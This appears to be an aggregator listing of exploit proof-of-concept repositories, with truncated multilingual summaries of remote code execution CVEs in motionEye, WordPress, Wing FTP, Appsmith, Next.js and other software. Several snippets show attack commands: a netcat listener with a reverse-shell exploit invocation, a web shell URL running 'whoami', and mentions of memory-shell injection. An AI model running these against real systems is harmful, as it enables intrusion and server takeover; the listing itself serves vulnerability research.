CVE-2025-60787-Detection-motionEye-RCE-via-Config-Injection

README.md Detección de CVE-2025-60787: RCE en motionEye mediante inyección de configuración Ejecución remota de código no autenticada en motionEye Imágenes fijas - Nombre de archivo de imagen Ejemplo de payload PoC: root@kitploit: $touch /tmp/test.%Y-%m-%d-%H-%M-%S...

CVE-2026-38751

CVE-2026-38751 — RCE mediante carga de módulos en OpenSTAManager RCE autenticado mediante carga de ZIP sin validar en el endpoint de actualización de módulos. Afectado: OpenSTAManager = 2.10.x Requisitos pip install requests Uso root@kitploit: Reverse shell Penelope or any listener python3...

CVE-2026-63030-POC

CVE-2026-63030: Explicación del RCE Pre-Autenticación en WordPress 📖 Lee primero el análisis técnico completo: CVE-2026-63030: Explicación del RCE Pre-Autenticación en WordPress Este repositorio contiene el exploit de prueba de concepto al que se hace referencia en ese artículo. Empieza con el bl...

CVE-2024-31666

Resumen de la vulnerabilidad Existe una vulnerabilidad en Flusity-CMS v.2.33 que permite a un atacante remoto ejecutar código arbitrario mediante un script especialmente diseñado en el componente editaddonpost.php. Versiones afectadas Flusity-CMS v.2.33 Detalles de la vulnerabilidad Un atacante...

CVE-2025-2294

CVE-2025-2294 - إضافة Kubio AI Page Builder لـ WordPress = 2.5.1 - استغلال تضمين الملفات المحلي LFI نظرة عامة تؤثر CVE-2025-2294 على إضافة Kubio AI Page Builder لـ WordPress الإصدارات حتى 2.5.1 ضمنًا. تعاني من ثغرة تضمين الملفات المحلي LFI بدون مصادقة عبر دالة thekubiohybridthemeloadtemplate. تسم...

CVE-2026-2898-FunAdmin-Deserialization

CVE-2026-2898 - Deserialización insegura en FunAdmin Resumen FunAdmin Aviso legal Solo con fines educativos y pruebas autorizadas...

Ashwesker-CVE-2025-52691

🚨 CVE-2025-52691 — 深刻なSmarterMailの脆弱性 ステータス: 🔥 重大 — 直ちに対処が必要 CVSS v3.1 スコア: 10.0 / 10 公開日: 2025年12月29日〜30日 🧩 脆弱性の概要 CVE-2025-52691 は、SmarterTools SmarterMail Server に影響を及ぼす重大な、認証不要の任意ファイルアップロード脆弱性 です。 悪用されると、リモートコード実行（RCE） およびサーバー完全乗っ取り に直接つながる可能性があります。 🎯 主な技術的詳細...

CVE-2021-30461

Productos afectados VoIPmonitor 24.60 Cómo ejecutar RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell en el navegador: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Referencia https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2014-0196

देखें https://vulners.com/cve/CVE-2014-0196...

CVE-2026-40859

camel-netty-http / camel-vertx-http HTTP-응답 안전하지 않은 역직렬화 재현기 CVE-2026-40859 이 프로젝트는 Apache Camel의 camel-netty-http 및 camel-vertx-http 컴포넌트에서 Java 역직렬화 취약점 을 시연하며, CVE-2026-40859 로 추적됩니다. 프로듀서 엔드포인트가 transferException=true또는 컴포넌트 레벨 allowJavaSerializedObject=true로 구성된 경우, 백엔드 HTTP 응답 이 실패 상태이고...

CVE-2025-47812

CVE-2025-47812 이것은 Wing FTP Server 익스플로잇CVE-2025-47812의 개념 증명PoC입니다. 설명 Wing FTP Server 7.4.4 이전 버전은 사용자 이름 매개변수의 안전하지 않은 처리로 인해 원격 코드 실행RCE 취약점이 존재합니다. /loginok.html 페이지에서 로그인이 허용될 때, 널 바이트 %00 뒤에 Lua 코드를 주입하여 RCE를 달성할 수 있습니다. 배경 사건 /loginok.html 페이지에 POST 요청을 보내면, cCheckUser 함수올바른 사용자 이름과 비밀번호를...

CVE-2020-0796

CVE-2020-0796: SMBGhost - विश्लेषण और नैतिक शोषण परिचय CVE-2020-0796, जिसे "SMBGhost" के नाम से भी जाना जाता है, माइक्रोसॉफ्ट विंडोज ऑपरेटिंग सिस्टम को प्रभावित करने वाली एक गंभीर सुरक्षा भेद्यता है। यह "वर्मेबल" श्रेणी में आती है, जिसका अर्थ है कि यह नेटवर्क सिस्टमों में तेजी से फैल सकती है। यह...

CVE-2026-40175

🚨 CVE-2026-40175 - Axios의 치명적인 취약점 프로토타입 오염 가젯 → 원격 코드 실행 및 클라우드 침해 📢 개요 Axios — JavaScript브라우저 및 Node.js용 가장 인기 있는 HTTP 클라이언트 중 하나 — 는 1.15.0 이전 버전에서 치명적인 취약점을 포함하고 있습니다. 특정 "가젯" 공격 체인 을 통해 공격자는 모든 프로토타입 오염심지어 타사 종속성에서 비롯된 경우라도을 다음과 같이 확대할 수 있습니다: 원격 코드 실행 RCE 완전한 클라우드 침해 AWS IMDSv2 우회를 통한 자격 증명...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC 익스플로잇으로, 취약한 Appsmith 인스턴스에서 임의 명령 실행 또는 리버스 셸을 생성합니다. 이 스크립트는 environmentId 기능이 있는 최신 서버와 그 이전의 "레거시" 빌드를 모두 자동으로 처리하므로, v1.20 부터 마지막 취약 버전인 v1.51 까지의 모든 버전에서 하나의 스크립트로 사용할 수 있습니다. 빠른 시작 root@kitploit: 임의 명령 실행 기본값은 id python3 appsmith-rce.py...

CVE-2025-20029

CVE-2025-20029: F5 BIG-IP의 TMSH CLI에서의 명령 삽입 F5 'tmsh' 제한적 CLI에 명령 삽입 취약점이 존재하며, 이를 통해 인증된 공격자는 낮은 권한의 사용자가 접근할 수 있는 명령을 활용하여 제한을 우회하고 임의의 명령을 삽입하여 대상 시스템에서 'root' 사용자로 원격 코드 실행을 얻을 수 있습니다. 공급업체 공개: 해당 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구 사항: 이 취약점을 악용하려면: 유효한 사용자 자격 증명 iControl REST 구성...

WSO2-2021-1258

WSO2-2021-1258: Vulnerabilità Zip Slip in WSO2 ESB È stata identificata una vulnerabilità di directory traversal basata su file ZIP Zip Slip nella WSO2 Management Console. L'esecuzione remota di codice può essere ottenuta scrivendo/sovrascrivendo file specifici. Divulgazione del fornitore: La...

CVE-2025-69906-Monstra-CMS-3.0.4-Arbitrary-File-Upload-to-RCE

CVE-2025-69906: Caricamento Arbitrario di File a RCE in Monstra CMS 3.0.4 Autore : David PS Abraham Data : 5 febbraio 2026 Gravità : Critica - Esecuzione di Codice Remota CVSS 8.8+ CWE : 434 Caricamento senza restrizioni di un file con tipo pericoloso Descrizione della Vulnerabilità Il plugin Fil...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE critica in NGINX CVSS 9.2 Classificazione Categoria: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critico Data di scoperta: 12 maggio 2026 Data della patch: maggio 2026 rilascio trimestrale di sicurezza F5 Fonte: GitHub DepthFirstDisclosures/Nginx-Rift...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

su kali linux - terminale 1 nc -lvnp 4444 su kali linux - terminale 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner Ferramenta de varredura e exploração da CVE-2025-55182, voltada para a vulnerabilidade de execução remota de código em aplicações Next.js. Suporta detecção em lote, execução de comandos, injeção de memory shell do Godzilla e funcionalidade de reverse shell. ⚠️...